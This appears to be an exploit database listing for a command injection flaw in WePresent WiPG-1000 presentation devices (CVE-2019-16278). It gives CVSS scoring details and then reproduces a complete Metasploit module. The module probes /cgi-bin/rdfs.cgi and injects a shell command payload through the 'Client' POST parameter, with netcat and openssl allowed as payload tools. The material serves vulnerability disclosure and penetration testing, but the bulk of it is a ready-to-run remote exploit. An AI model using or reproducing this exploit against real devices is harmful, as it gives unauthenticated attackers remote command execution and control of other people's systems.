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WePresent WiPG-1000 Command Injection

CVE	Category	Price	Severity
CVE-2019-16278	CWE-78	$10,000	High

Author	Risk	Exploitation Type	Date
bxav	Critical	Remote	2017-04-25

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040165

Below is a copy:

WePresent WiPG-1000 Command Injection##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'WePresent WiPG-1000 Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability in an undocumented
        CGI file in several versions of the WePresent WiPG-1000 devices.
        Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Matthias Brun', # Vulnerability Discovery, Metasploit Module
        ],
      'References'     =>
        [
          [ 'URL', 'https://www.redguard.ch/advisories/wepresent-wipg1000.txt' ]
        ],
      'Payload'        =>
        {
          'Compat'     =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat openssl'
            }
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['WiPG-1000 <=2.0.0.7', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 20 2017',
      'DefaultTarget'  => 0))
  end


  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri('/cgi-bin/rdfs.cgi')
    })
    if res and res.body =~ /Follow administrator instructions to enter the complete path/ then
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status('Sending request')
    send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri('/cgi-bin/rdfs.cgi'),
      'vars_post' => {
        'Client' => ";#{payload.encoded};",
        'Download' => 'Download'
      }
    )
  end

end

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